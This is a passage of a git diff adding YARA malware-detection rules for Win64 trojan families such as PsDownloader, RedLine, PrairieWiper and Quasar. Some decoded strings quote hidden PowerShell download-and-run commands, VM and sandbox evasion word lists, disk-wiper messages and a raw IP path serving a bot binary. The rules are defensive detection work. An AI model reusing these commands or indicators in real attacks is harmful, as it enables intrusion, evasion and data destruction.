48 83 85 } //10 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*10) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/Phonzy/Trojan_Win64_Phonzy_AHB_MTB.yar b/Trojan/Win64/Phonzy/Trojan_Win64_Phonzy_AHB_MTB.yar new file mode 100644 index 0000000000..84ef57f54b --- /dev/null +++ b/Trojan/Win64/Phonzy/Trojan_Win64_Phonzy_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Phonzy_AHB_MTB{ + meta: + description = "Trojan:Win64/Phonzy.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {81 f1 20 83 b8 ed f6 c2 01 0f 44 c8 8b c1 d1 e8 8b d0 81 f2 20 83 b8 ed f6 c1 01 0f 44 d0 8b ca d1 e9 8b c1 35 20 83 b8 ed f6 c2 01 0f 44 c1 41 0f b7 08 66 85 c9 0f } //3 + $a_01_1 = {c7 44 24 50 0c 00 00 00 66 48 0f 7e c8 48 c1 e8 20 89 44 24 54 66 0f 6f c1 66 0f 73 d8 08 66 0f 7e 44 24 58 66 0f 73 d9 08 66 48 0f 7e c8 48 c1 e8 20 89 44 24 5c 89 4c 24 60 48 8d 4c 24 50 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/PirateStealer/Trojan_Win64_PirateStealer_ABC_MTB.yar b/Trojan/Win64/PirateStealer/Trojan_Win64_PirateStealer_ABC_MTB.yar new file mode 100644 index 0000000000..9d7b8ef758 --- /dev/null +++ b/Trojan/Win64/PirateStealer/Trojan_Win64_PirateStealer_ABC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_PirateStealer_ABC_MTB{ + meta: + description = "Trojan:Win64/PirateStealer.ABC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {48 89 58 10 ba e8 0f 00 00 48 89 c3 48 8b 43 08 48 89 d9 48 01 c1 48 29 f2 48 89 13 48 01 f0 48 89 43 08 31 d2 49 89 f0 48 83 c4 20 5b 5f 5e e9 } //4 + $a_03_1 = {ba 00 10 00 00 31 c9 41 b8 00 30 00 00 41 b9 04 00 00 00 ff 15 ?? ?? ?? 00 48 85 c0 74 } //1 + condition: + ((#a_01_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/PoolInject/Trojan_Win64_PoolInject_GVA_MTB.yar b/Trojan/Win64/PoolInject/Trojan_Win64_PoolInject_GVA_MTB.yar new file mode 100644 index 0000000000..2c9721d4eb --- /dev/null +++ b/Trojan/Win64/PoolInject/Trojan_Win64_PoolInject_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_PoolInject_GVA_MTB{ + meta: + description = "Trojan:Win64/PoolInject.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {4c 8b 00 41 0f b6 81 ?? ?? ?? ?? 42 0f b6 14 0a 42 32 14 08 43 30 14 10 49 ff c2 48 8b 41 08 4c 3b 10 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/PoolInject/Trojan_Win64_PoolInject_MR_MTB.yar b/Trojan/Win64/PoolInject/Trojan_Win64_PoolInject_MR_MTB.yar new file mode 100644 index 0000000000..8b6be71ec5 --- /dev/null +++ b/Trojan/Win64/PoolInject/Trojan_Win64_PoolInject_MR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_PoolInject_MR_MTB{ + meta: + description = "Trojan:Win64/PoolInject.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 00 " + + strings : + $a_01_0 = {41 8b c3 48 c1 e9 10 25 ff 00 04 00 83 e1 06 89 05 6d 34 11 00 48 81 c9 29 00 00 01 48 f7 d1 48 23 0d 10 1d 11 00 } //10 + $a_81_1 = {53 74 6f 70 20 72 65 76 65 72 73 69 6e 67 20 74 68 65 20 62 69 6e 61 72 79 } //1 Stop reversing the binary + $a_81_2 = {52 65 63 6f 6e 73 69 64 65 72 20 79 6f 75 72 20 6c 69 66 65 20 63 68 6f 69 63 65 73 } //1 Reconsider your life choices + $a_81_3 = {41 6e 64 20 67 6f 20 74 6f 75 63 68 20 73 6f 6d 65 20 67 72 61 73 73 } //1 And go touch some grass + condition: + ((#a_01_0 & 1)*10+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/Win64/PoolInject/Trojan_Win64_Poolinject_PGP_MTB.yar b/Trojan/Win64/PoolInject/Trojan_Win64_Poolinject_PGP_MTB.yar new file mode 100644 index 0000000000..2d16e9e76f --- /dev/null +++ b/Trojan/Win64/PoolInject/Trojan_Win64_Poolinject_PGP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Poolinject_PGP_MTB{ + meta: + description = "Trojan:Win64/Poolinject.PGP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {66 0f ef 4d f7 41 8b c8 66 48 0f 7e c8 48 89 75 07 48 89 7d 0f 66 0f ef 45 07 66 0f 7f 45 d7 66 0f 7f 4d c7 0f be d0 84 c0 74 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/PrairieWiper/Trojan_Win64_PrairieWiper_A.yar b/Trojan/Win64/PrairieWiper/Trojan_Win64_PrairieWiper_A.yar new file mode 100644 index 0000000000..0a28d74969 --- /dev/null +++ b/Trojan/Win64/PrairieWiper/Trojan_Win64_PrairieWiper_A.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_PrairieWiper_A{ + meta: + description = "Trojan:Win64/PrairieWiper.A,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {4d 61 6b 65 20 73 79 73 74 65 6d 20 75 6e 62 6f 6f 74 61 62 6c 65 20 62 79 20 77 69 70 69 6e 67 20 63 72 69 74 69 63 61 6c 20 4f 53 20 66 69 6c 65 73 } //1 Make system unbootable by wiping critical OS files + $a_01_1 = {52 65 73 74 61 72 74 20 73 79 73 74 65 6d 20 61 66 74 65 72 20 63 6f 6d 70 6c 65 74 69 6f 6e } //1 Restart system after completion + $a_01_2 = {4e 75 6d 62 65 72 20 6f 66 20 6f 76 65 72 77 72 69 74 65 20 70 61 73 73 65 73 20 28 31 2d 37 29 } //1 Number of overwrite passes (1-7) + $a_01_3 = {44 45 53 54 52 55 43 54 49 4f 4e 20 4d 4f 44 45 3a 20 54 61 72 67 65 74 69 6e 67 20 73 79 73 74 65 6d 20 64 72 69 76 65 20 6f 6e 6c 79 } //1 DESTRUCTION MODE: Targeting system drive only + $a_01_4 = {57 41 52 4e 49 4e 47 3a 20 57 69 70 65 20 69 6e 63 6f 6d 70 6c 65 74 65 20 66 6f 72 20 25 73 3a 20 25 64 20 6f 66 20 25 64 20 66 69 6c 65 73 20 77 69 70 65 64 20 28 25 2e 32 66 25 25 29 } //1 WARNING: Wipe incomplete for %s: %d of %d files wiped (%.2f%%) + $a_01_5 = {5b 50 48 41 53 45 20 31 5d 20 44 65 73 74 72 6f 79 69 6e 67 20 70 61 72 74 69 74 69 6f 6e 20 73 74 72 75 63 74 75 72 65 73 2e 2e 2e } //1 [PHASE 1] Destroying partition structures... + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/PsDownloader/Trojan_Win64_PsDownloader_CH_MTB.yar b/Trojan/Win64/PsDownloader/Trojan_Win64_PsDownloader_CH_MTB.yar new file mode 100644 index 0000000000..6a56829da5 --- /dev/null +++ b/Trojan/Win64/PsDownloader/Trojan_Win64_PsDownloader_CH_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_PsDownloader_CH_MTB{ + meta: + description = "Trojan:Win64/PsDownloader.CH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 04 00 00 " + + strings : + $a_01_0 = {24 62 61 64 57 6f 72 64 73 20 3d 20 40 28 27 6a 6f 68 6e 27 2c 27 61 62 62 79 27 2c 27 62 72 75 6e 6f 27 2c 27 67 65 6f 72 67 65 27 2c 27 61 7a 75 72 65 27 2c 27 31 32 38 30 78 31 30 32 34 27 2c 27 6a 6f 68 6e 20 64 6f 65 27 2c 27 64 69 73 70 6c 61 79 20 61 64 61 70 74 65 72 27 2c 27 68 79 70 65 72 2d 76 27 2c 27 76 6d 77 61 72 65 27 2c 27 76 69 72 74 75 61 6c 62 6f 78 27 2c 27 6b 76 6d 27 2c 27 71 65 6d 75 27 2c 27 78 65 6e 27 2c 27 70 61 72 61 6c 6c 65 6c 73 27 2c } //5 $badWords = @('john','abby','bruno','george','azure','1280x1024','john doe','display adapter','hyper-v','vmware','virtualbox','kvm','qemu','xen','parallels', + $a_01_1 = {24 65 6e 76 3a 43 4f 4d 50 55 54 45 52 4e 41 4d 45 2e 54 6f 4c 6f 77 65 72 28 29 3b 66 6f 72 65 61 63 68 28 24 77 20 69 6e 20 24 62 61 64 57 6f 72 64 73 29 7b 69 66 28 24 63 2e 43 6f 6e 74 61 69 6e 73 28 24 77 29 29 7b 24 6d 61 74 63 68 65 73 2b 3d 22 43 6f 6d 70 75 74 65 72 3a 20 24 77 22 7d 7d 3b 74 72 79 20 7b 24 67 70 75 73 20 3d 20 47 65 74 2d 43 69 6d 49 6e 73 74 61 6e 63 65 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 } //5 $env:COMPUTERNAME.ToLower();foreach($w in $badWords){if($c.Contains($w)){$matches+="Computer: $w"}};try {$gpus = Get-CimInstance Win32_VideoController + $a_01_2 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 43 6f 6d 6d 61 6e 64 20 22 24 50 72 6f 67 72 65 73 73 50 72 65 66 65 72 65 6e 63 65 3d 27 53 69 6c 65 6e 74 6c 79 43 6f 6e 74 69 6e 75 65 27 3b 20 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 27 68 74 74 70 } //2 powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'http + $a_01_3 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 46 69 6c 65 } //2 powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win64/PureCrypt/Trojan_Win64_PureCrypt_WQ_MTB.yar b/Trojan/Win64/PureCrypt/Trojan_Win64_PureCrypt_WQ_MTB.yar new file mode 100644 index 0000000000..021c802cd6 --- /dev/null +++ b/Trojan/Win64/PureCrypt/Trojan_Win64_PureCrypt_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_PureCrypt_WQ_MTB{ + meta: + description = "Trojan:Win64/PureCrypt.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c7 40 48 00 15 13 80 33 c9 48 89 48 08 c7 40 48 01 15 13 80 c7 40 48 0e 00 07 80 48 8b 0d 99 9f 15 00 48 8d 49 08 48 8b d0 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Quasar/Trojan_Win64_Quasar_AUQ_MTB.yar b/Trojan/Win64/Quasar/Trojan_Win64_Quasar_AUQ_MTB.yar new file mode 100644 index 0000000000..be7e577e57 --- /dev/null +++ b/Trojan/Win64/Quasar/Trojan_Win64_Quasar_AUQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Quasar_AUQ_MTB{ + meta: + description = "Trojan:Win64/Quasar.AUQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {48 89 4d 10 48 89 55 18 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 eb ?? 8b 4d f8 48 63 c1 48 69 c0 ?? ?? ?? ?? 48 c1 e8 20 48 89 c2 89 c8 c1 f8 1f 29 c2 89 d0 01 c0 01 d0 29 c1 89 ca 89 d0 0f af 45 f8 01 45 fc 83 45 f8 01 } //3 + $a_03_1 = {48 8b 85 e8 ?? ?? ?? 48 8d 15 b0 82 00 00 48 89 c1 48 8b 05 31 d5 00 00 ff d0 48 89 85 e0 ?? ?? ?? 48 8b 85 e8 ?? ?? ?? 48 8d 15 9e 82 00 00 48 89 c1 48 8b 05 10 d5 00 00 ff d0 48 89 85 d8 ?? ?? ?? 48 8b 85 e8 ?? ?? ?? 48 8d 15 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/QuasarRat/Trojan_Win64_QuasarRAT_GZF_MTB.yar b/Trojan/Win64/QuasarRat/Trojan_Win64_QuasarRAT_GZF_MTB.yar new file mode 100644 index 0000000000..0669d791a2 --- /dev/null +++ b/Trojan/Win64/QuasarRat/Trojan_Win64_QuasarRAT_GZF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_QuasarRAT_GZF_MTB{ + meta: + description = "Trojan:Win64/QuasarRAT.GZF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {4c 03 f5 45 8b 66 ?? 45 8b 6e ?? 4c 03 e5 41 8b 46 ?? 4c 03 ed 48 03 c5 48 89 44 24 ?? 41 39 7e ?? ?? ?? 66 66 0f 1f 84 00 00 00 00 00 41 8b 0c bc 48 8d 15 ?? ?? ?? ?? 48 03 cd 41 b8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f 84 ?? ?? ?? ?? ff c7 41 3b 7e 18 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/QuilinLoader/Trojan_Win64_QuilinLoader_HIR_MTB.yar b/Trojan/Win64/QuilinLoader/Trojan_Win64_QuilinLoader_HIR_MTB.yar new file mode 100644 index 0000000000..f8e9e06995 --- /dev/null +++ b/Trojan/Win64/QuilinLoader/Trojan_Win64_QuilinLoader_HIR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_QuilinLoader_HIR_MTB{ + meta: + description = "Trojan:Win64/QuilinLoader.HIR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0f b7 84 24 ?? ?? ?? ?? 05 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 0f b7 84 24 ?? ?? ?? ?? 35 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 0f b6 84 24 ?? ?? ?? ?? 0f b6 8c 24 ?? ?? ?? ?? 33 c1 48 8b 8c 24 ?? ?? ?? ?? 88 01 8b 05 ?? ?? ?? ?? 48 8b 8c 24 ?? ?? ?? ?? 48 89 8c 24 ?? ?? ?? ?? 0f b6 c8 48 8b 84 24 ?? ?? ?? ?? 8b 00 d3 e0 89 05 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/RShell/Trojan_Win64_RShell_AHB_MTB.yar b/Trojan/Win64/RShell/Trojan_Win64_RShell_AHB_MTB.yar new file mode 100644 index 0000000000..78fe1edff2 --- /dev/null +++ b/Trojan/Win64/RShell/Trojan_Win64_RShell_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_RShell_AHB_MTB{ + meta: + description = "Trojan:Win64/RShell.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {48 8d 3d 13 45 00 00 48 89 54 24 40 4c 89 44 24 38 48 8d 54 24 51 4c 89 44 24 30 45 31 c0 44 89 4c 24 28 45 31 c9 48 89 7c 24 48 c7 44 24 20 01 00 00 00 ff 15 } //3 + $a_03_1 = {c7 05 6c 45 00 00 68 00 00 00 c7 05 9e 45 00 00 01 01 00 00 48 89 05 bb 45 00 00 48 89 05 ac 45 00 00 48 89 05 9d 45 00 00 48 b8 ?? ?? ?? ?? ?? ?? ?? 00 48 89 44 24 51 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/RanPacker/Trojan_Win64_RanPacker_CCJZ_MTB.yar b/Trojan/Win64/RanPacker/Trojan_Win64_RanPacker_CCJZ_MTB.yar new file mode 100644 index 0000000000..0fd3d4b945 --- /dev/null +++ b/Trojan/Win64/RanPacker/Trojan_Win64_RanPacker_CCJZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RanPacker_CCJZ_MTB{ + meta: + description = "Trojan:Win64/RanPacker.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 45 f4 48 63 d0 48 89 d0 48 c1 e0 02 48 01 d0 48 c1 e0 03 48 89 c2 48 8b 45 d0 48 01 d0 48 89 c1 48 8d 45 c0 48 89 c2 e8 ?? ?? ?? ?? 85 c0 75 ?? 8b 45 f4 48 63 d0 48 89 d0 48 c1 e0 02 48 01 d0 48 c1 e0 03 48 89 c2 48 8b 45 d0 48 01 d0 8b 40 0c 89 c2 48 8b 45 e8 48 01 d0 48 89 45 f8 eb ?? 83 45 f4 01 48 8b 45 d8 0f b7 40 06 0f b7 c0 39 45 f4 7c } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/RandomPhrase/Trojan_Win64_RandomPhrase_A.yar b/Trojan/Win64/RandomPhrase/Trojan_Win64_RandomPhrase_A.yar new file mode 100644 index 0000000000..a45b925600 --- /dev/null +++ b/Trojan/Win64/RandomPhrase/Trojan_Win64_RandomPhrase_A.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RandomPhrase_A{ + meta: + description = "Trojan:Win64/RandomPhrase.A,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {55 48 89 e5 48 83 ec 40 48 89 75 f8 48 89 f1 48 81 c1 ?? ?? 00 00 e8 ?? ?? ?? ?? 48 89 c6 48 89 05 ?? ?? ?? ?? e8 05 00 00 00 e9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Razy/Trojan_Win64_Razy_AVE_MTB.yar b/Trojan/Win64/Razy/Trojan_Win64_Razy_AVE_MTB.yar new file mode 100644 index 0000000000..840169ff1d --- /dev/null +++ b/Trojan/Win64/Razy/Trojan_Win64_Razy_AVE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Razy_AVE_MTB{ + meta: + description = "Trojan:Win64/Razy.AVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 0f b7 01 41 8b 08 8b 14 86 49 03 cb 33 c0 8a 19 49 03 d3 84 db 74 24 c1 c0 03 48 ff c1 89 44 24 10 30 5c 24 10 8a 19 84 db } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/RedCurl/Trojan_Win64_RedCurl_DA_MTB.yar b/Trojan/Win64/RedCurl/Trojan_Win64_RedCurl_DA_MTB.yar new file mode 100644 index 0000000000..daed5458cd --- /dev/null +++ b/Trojan/Win64/RedCurl/Trojan_Win64_RedCurl_DA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RedCurl_DA_MTB{ + meta: + description = "Trojan:Win64/RedCurl.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 8b 07 4c 8d 0c 02 48 8b c3 48 83 7b 18 10 72 ?? 48 8b 03 0f b6 14 01 41 32 11 48 8b c6 48 83 7e 18 10 72 ?? 48 8b 06 88 14 01 41 ff c0 48 ff c1 49 63 c0 48 3b 43 10 72 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/RedLineStealer/Trojan_Win64_Redlinestealer_PGA_MTB.yar b/Trojan/Win64/RedLineStealer/Trojan_Win64_Redlinestealer_PGA_MTB.yar new file mode 100644 index 0000000000..d2cffdc1e4 --- /dev/null +++ b/Trojan/Win64/RedLineStealer/Trojan_Win64_Redlinestealer_PGA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Redlinestealer_PGA_MTB{ + meta: + description = "Trojan:Win64/Redlinestealer.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_80_0 = {31 38 35 2e 38 31 2e 36 38 2e 31 34 37 2f 62 69 6e 2f 62 6f 74 36 34 2e 62 69 6e } //185.81.68.147/bin/bot64.bin 1 + $a_80_1 = {43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 45 78 70 6c 6f 72 65 72 5c 53 74 61 72 74 75 70 41 70 70 72 6f 76 65 64 5c 52 75 6e } //CurrentVersion\Explorer\StartupApproved\Run 1 + $a_01_2 = {62 69 74 63 6f 69 6e 63 61 73 68 } //1 bitcoincash + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_A_dha.yar b/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_A_dha.yar new file mode 100644 index 0000000000..c8ef0b65ce --- /dev/null +++ b/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_A_dha.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_RedParrot_A_dha{ + meta: + description = "Trojan:Win64/RedParrot.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {53 00 70 00 6c 00 75 00 6e 00 6b 00 39 00 34 00 31 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 5f 00 } //1 Splunk941Install_ + $a_03_1 = {32 00 30 00 32 00 35 00 30 00 35 00 30 00 37 00 2d 00 32 00 33 00 30 00 30 00 30 00 ?? ?? 2e 00 6c 00 6f 00 67 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_B_dha.yar b/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_B_dha.yar new file mode 100644 index 0000000000..c56be6ad51 --- /dev/null +++ b/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_B_dha.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_RedParrot_B_dha{ + meta: + description = "Trojan:Win64/RedParrot.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {4f 70 65 6e 4a 44 4b 20 36 34 2d 42 69 74 20 4d 69 6e 69 6d 61 6c 20 56 4d } //1 OpenJDK 64-Bit Minimal VM + $a_01_1 = {3a 20 74 68 69 73 20 6f 62 6a 65 63 74 20 63 61 6e 6e 6f 74 20 75 73 65 20 61 20 6e 75 6c 6c 20 49 56 } //1 : this object cannot use a null IV + $a_03_2 = {43 00 3a 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 [0-80] 2e 00 6c 00 6f 00 67 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_HC.yar b/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_HC.yar new file mode 100644 index 0000000000..1961d7205b --- /dev/null +++ b/Trojan/Win64/RedParrot/Trojan_Win64_RedParrot_HC.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_RedParrot_HC{ + meta: + description = "Trojan:Win64/RedParrot.HC,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_00_0 = {63 6f 64 65 20 68 65 61 70 20 61 6e 61 6c 79 73 69 73 } //1 code heap analysis + $a_01_1 = {5b 4d 61 63 68 43 6f 64 65 5d } //1 [MachCode] + $a_01_2 = {4b 65 79 53 69 7a 65 } //1 KeySize + $a_01_3 = {4d 6f 64 75 6c 75 73 53 69 7a 65 } //1 ModulusSize + $a_03_4 = {32 00 30 00 32 00 35 00 30 00 35 00 30 00 37 00 2d 00 32 00 33 00 30 00 30 00 30 00 ?? ?? 2e 00 6c 00 6f 00 67 00 } //2 + $a_00_5 = {53 00 70 00 6c 00 75 00 6e 00 6b 00 39 00 34 00 31 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 5f 00 } //2 Splunk941Install_ + condition: + ((#a_00_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*2+(#a_00_5 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/Redcap/Trojan_Win64_RedCap_MKC_MTB.yar b/Trojan/Win64/Redcap/Trojan_Win64_RedCap_MKC_MTB.yar new file mode 100644 index 0000000000..7326f05013 --- /dev/null +++ b/Trojan/Win64/Redcap/Trojan_Win64_RedCap_MKC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RedCap_MKC_MTB{ + meta: + description = "Trojan:Win64/RedCap.MKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {f7 e7 8b c7 2b c2 d1 e8 03 c2 c1 e8 05 0f b7 c0 6b c8 38 0f b7 c7 41 03 fe 66 2b c1 66 41 03 c5 66 31 06 48 8d 76 ?? 83 ff 0b 7c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Redcap/Trojan_Win64_Redcap_AB_MTB.yar b/Trojan/Win64/Redcap/Trojan_Win64_Redcap_AB_MTB.yar new file mode 100644 index 0000000000..058e3ab82d --- /dev/null +++ b/Trojan/Win64/Redcap/Trojan_Win64_Redcap_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Redcap_AB_MTB{ + meta: + description = "Trojan:Win64/Redcap.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {31 c9 eb 07 48 81 c1 60 98 00 00 48 81 f9 5f 98 00 00 7c f0 31 c9 eb 07 48 81 c1 30 34 00 00 48 81 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Redline/Trojan_Win64_Redline_GZZ_MTB.yar b/Trojan/Win64/Redline/Trojan_Win64_Redline_GZZ_MTB.yar new file mode 100644 index 0000000000..ab0e253277 --- /dev/null +++ b/Trojan/Win64/Redline/Trojan_Win64_Redline_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Redline_GZZ_MTB{ + meta: + description = "Trojan:Win64/Redline.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {64 21 21 00 00 00 73 68 65 6c 6c 33 32 2e 64 6c 6c 00 00 00 00 00 53 48 47 65 74 46 6f 6c 64 65 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/ReflectiveLoader/Trojan_Win64_ReflectiveLoader_OFA.yar b/Trojan/Win64/ReflectiveLoader/Trojan_Win64_ReflectiveLoader_OFA.yar new file mode 100644 index 0000000000..4b08202748 --- /dev/null +++ b/Trojan/Win64/ReflectiveLoader/Trojan_Win64_ReflectiveLoader_OFA.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_ReflectiveLoader_OFA{ + meta: + description = "Trojan:Win64/ReflectiveLoader.OFA,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 00 " + + strings : + $a_01_0 = {5b bc 4a 6a } //1 + $a_01_1 = {5d 68 fa 3c } //1 + $a_01_2 = {8e 4e 0e ec } //1 + $a_01_3 = {aa fc 0d 7c } //1 + $a_01_4 = {54 ca af 91 } //1 + $a_01_5 = {b8 0a 4c 53 } //1 + $a_81_6 = {52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 } //10 ReflectiveLoader + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_81_6 & 1)*10) 